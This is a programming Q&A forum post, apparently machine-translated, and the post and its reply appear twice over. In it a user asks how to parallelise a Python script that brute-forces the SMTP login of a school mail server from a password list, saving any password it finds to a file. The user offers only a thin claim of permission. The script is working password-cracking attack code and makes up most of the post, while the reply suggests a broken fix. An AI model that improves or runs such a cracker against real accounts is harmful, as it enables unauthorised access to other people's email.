在 python 中进行暴力破解的并行计算任务
Parallel compute task to brute-force in python
/* 这不是违法的,只是我的学校只使用 7 个整数,我想看看我是否能及时实现它,因为目前我需要 1.59 年才能破解密码。学校在现场为任何相关人员提供了自己的私人服务器,而且很容易被发现。我只会在他们允许的情况下对我或我的朋友这样做。*/
我只是想使用多重处理或 concurrent.futures 在合理的时间内制作这个密码破解器 运行。
这是我尝试并联它的尝试
import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
print("Got to here3")
smtpserver.connect('private_email_server', 587)
smtpserver.ehlo()
smtpserver.starttls()
print("OK going to main")
main()
def main():
for password in passwfile.readlines():
password = password.strip()
print("Go to here1")
try:
print("WELL AT LEAST WE GOT HERE")
smtpserver.login('myemail@private_email.com', password)
a = password
with open('pass.txt','w') as bc:
bc.write(a)
print ("[+] Password cracked----> %s" % password)
input()
break
except smtplib.SMTPAuthenticationError:
print("[-] Wrong --> %s" % password)
pass
except:
print("Got to here2")
conn()
if __name__ == '__main__':
passwfile = open('per.txt', 'r')
smtpserver = smtplib.SMTP()
with ThreadPoolExecutor(max_workers=3) as exe:
exe.submit(conn)
这实际上只有在密码位于第一行时才有效,它只输出我在上面写的指标,比如 print ("Got to here3")
它不会打印破解的密码,甚至不会将其写入文本文件.
你试过了吗
with ThreadPoolExecutor as exe:
exe.submit(conn)
可能您实际上没有连接到服务器
/* 这不是违法的,只是我的学校只使用 7 个整数,我想看看我是否能及时实现它,因为目前我需要 1.59 年才能破解密码。学校在现场为任何相关人员提供了自己的私人服务器,而且很容易被发现。我只会在他们允许的情况下对我或我的朋友这样做。*/
我只是想使用多重处理或 concurrent.futures 在合理的时间内制作这个密码破解器 运行。
这是我尝试并联它的尝试
import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
print("Got to here3")
smtpserver.connect('private_email_server', 587)
smtpserver.ehlo()
smtpserver.starttls()
print("OK going to main")
main()
def main():
for password in passwfile.readlines():
password = password.strip()
print("Go to here1")
try:
print("WELL AT LEAST WE GOT HERE")
smtpserver.login('myemail@private_email.com', password)
a = password
with open('pass.txt','w') as bc:
bc.write(a)
print ("[+] Password cracked----> %s" % password)
input()
break
except smtplib.SMTPAuthenticationError:
print("[-] Wrong --> %s" % password)
pass
except:
print("Got to here2")
conn()
if __name__ == '__main__':
passwfile = open('per.txt', 'r')
smtpserver = smtplib.SMTP()
with ThreadPoolExecutor(max_workers=3) as exe:
exe.submit(conn)
这实际上只有在密码位于第一行时才有效,它只输出我在上面写的指标,比如 print ("Got to here3")
它不会打印破解的密码,甚至不会将其写入文本文件.
你试过了吗
with ThreadPoolExecutor as exe:
exe.submit(conn)
可能您实际上没有连接到服务器